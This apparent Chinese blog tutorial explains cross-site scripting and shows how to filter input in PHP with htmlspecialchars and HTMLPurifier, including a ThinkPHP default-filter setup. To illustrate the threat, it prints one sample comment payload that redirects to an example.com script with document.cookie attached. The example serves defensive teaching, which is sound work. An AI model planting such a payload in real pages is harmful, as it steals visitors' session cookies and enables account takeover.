什么是XSS

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

XSS(跨站脚本攻击)两种形式:输入JS代码或者HTML代码导致页面乱。

几乎所有的网站都有可能会遭遇XSS攻击,它和sql漏洞注入一样,也是web应用经常会考虑到的安全问题之一。XSS被应用在有通过表单提交数据的地方例如评论,注册,信息录入等。如果攻击者输入了不合法内容(比如一段js代码),而且我们队输入没有过滤和转义,跨站脚本漏洞就产生了

如果攻击者在评论区插入了以下代码:

<script>
document.location =
'http://www.example.com/xxxx.php?cookies=' +
document.cookie
</script>

而你没有过滤掉或转义的话,那么你的用户将会把他们的coockie发送的攻击者指定的脚本中。这是极其危险的。

如何避免XSS攻击

其实XSS跨站脚本攻击是很容易避免的。

  • 最常见的方法是使用htmlspecialchar() 方法过滤信息。

    但是使用htmlspecialchar()过滤后会使有些需要显示的Html效果被屏蔽掉比如:

那么我们可以使用一个开源的XSS过滤包htmlpurifier来过滤并且保留我们要展示的html内容

首先我们下载htmlpurifier包并将其放入项目中,一般我们只需要如下一行代码引入就可以调用其方法。

require_once '/path/to/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$html = $purifier->purify($html);

在THINKPHP中使用htmlpurifier

  • 而在thinkphp中,我们通过配置将I方法的默认方法由htmlspecialchar改为使用htmlpurifier。这样使用更加方便。

    首先下载包并将其放入tp的vendor文件夹下。在function.php中定义函数
function removeXSS($data){
static $purifier;
if($purifier === NULL){
vendor('htmlpurifier.library.HTMLPurifier#auto');//引入
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
}
return $purifier->purify($data);

Conf文件夹下的config.php中定义了I函数默认的参数过滤方法。

我们将其修改为我们自定义的函数,这样就可以在使用I方法的时候实现自定义的动态过滤

代码如下

    'DEFAULT_FILTER' => 'trim,removeXSS',

PHP预防跨站脚本(XSS)攻击且不影响html代码显示效果的更多相关文章

  1. 预防跨站脚本(xss)

    对xss的防护方法结合在两点上输入和输出,一是严格控制用户表单的输入,验证所有输入数据,有效监测到攻击,go web表单中涉及到.二是对所有输出的数据进行处理,防止已成功注入的脚本在浏览器端运行. 在 ...

  2. 跨站脚本(XSS)攻击

    https://blog.csdn.net/extremebingo/article/details/81176394

  3. 防御XSS攻击的七条原则

    本文将会着重介绍防御XSS攻击的一些原则,需要读者对于XSS有所了解,至少知道XSS漏洞的基本原理,如果您对此不是特别清楚,请参考这两篇文章:<Stored and Reflected XSS ...

  4. 认识与防御XSS攻击

    什么是xss攻击? XSS,即(Cross Site Scripting)中文名称为“跨站脚本攻击”.XSS的重点不在于跨站攻击而在于脚本攻击.攻击者可以利用 web应用的漏洞或缺陷之处,向页面注入恶 ...

  5. WEB安全 - 认识与防御XSS攻击

    目录 什么是xss攻击? XSS的危害 XSS攻击分类 xss攻击示例 反射型攻击 - 前端URL参数解析 反射型攻击 - 后端URL参数解析 注入型攻击 - 留言评论 如何规避xss攻击? 总结 什 ...

  6. 跨站脚本功攻击,xss,一个简单的例子让你知道什么是xss攻击

    跨站脚本功攻击,xss,一个简单的例子让你知道什么是xss攻击 一.总结 一句话总结:比如用户留言功能,用户留言中写的是网页可执行代码,例如js代码,然后这段代码在可看到这段留言的不同一户的显示上就会 ...

  7. XSS攻击及预防

    跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS.恶意攻击者往Web页面里插 ...

  8. Spring MVC里面xss攻击的预防

    关于xss的介绍可以看 Asp.net安全架构之1:xss(跨站脚本)和 腾讯微博的XSS攻击漏洞 网页, 具体我就讲讲Spring MVC里面的预防: 第一种方法,使用Spring MVC web. ...

  9. xss攻击(跨站脚本)

    原理跨站脚本(Cross site script,简称xss)是一种“HTML注入”,由于攻击的脚本多数时候是跨域的,所以称之为“跨域脚本”. 我们常常听到“注入”(Injection),如SQL注入 ...

随机推荐

  1. 网络编程_IP对象_InetAddress

    import java.net.InetAddress; import java.net.UnknownHostException; public class IPDemo { public stat ...

  2. 使用pymysql(使用一)

    创建数据表 import pymysql db = pymysql.connect("localhost","root",""," ...

  3. ROS 订阅图像节点

    博客 http://blog.csdn.net/github_30605157/article/details/50990493 参考ROS原网站 http://wiki.ros.org/image_ ...

  4. Spring中实现多数据源事务管理

    文章转自  https://www.2cto.com/kf/201507/424229.html 前言 由于项目中引入了多个数据源,并且需要对多个数据源进行写操作,那么多数据源的事务管理自然成了不可避 ...

  5. linux如何查看端口被哪个进程占用

    1.lsof -i:端口号 2.netstat -tunlp|grep 端口号 都可以查看指定端口被哪个进程占用的情况 工具/原料   linux,windows xshell 方法/步骤     [ ...

  6. 【转】图像的上采样(upsampling)与下采样(subsampled)

    转自:https://blog.csdn.net/stf1065716904/article/details/78450997 参考: http://blog.csdn.net/majinlei121 ...

  7. CommonJS, AMD, CMD是什么及区别--简单易懂有实例

    CommonJS, AMD, CMD都是JS模块化的规范. CommonJS是服务器端js模块化的规范,NodeJS是这种规范的实现. AMD(异步模块定义)和CMD(通用模块定义)都是浏览器端js模 ...

  8. C#位运算实际运用

    前言 前几天写了一篇关于c#位操作,c#位运算基本概念与计算过程 最后提到一个实际问题 需求:C# 用两个short,一个int32拼成一个long型 要求:现在有两个short和一个int,需要拼成 ...

  9. VSCode Install Go

    首先是VScode官网下载:https://code.visualstudio.com/ 然后在电脑上安装go的环境 如下图在VSCode上搜go的插件进行安装: 推荐:vscode-icons这个插 ...

  10. 练习angularjs的ng-click的应用

    angular的click事件ng-click. 实现一个小功能计数器,用户可以点击“+”或“-”铵钮,数值每随点击铵钮增长1或减1.使用ng-init设置初始值为0. <div ng-app= ...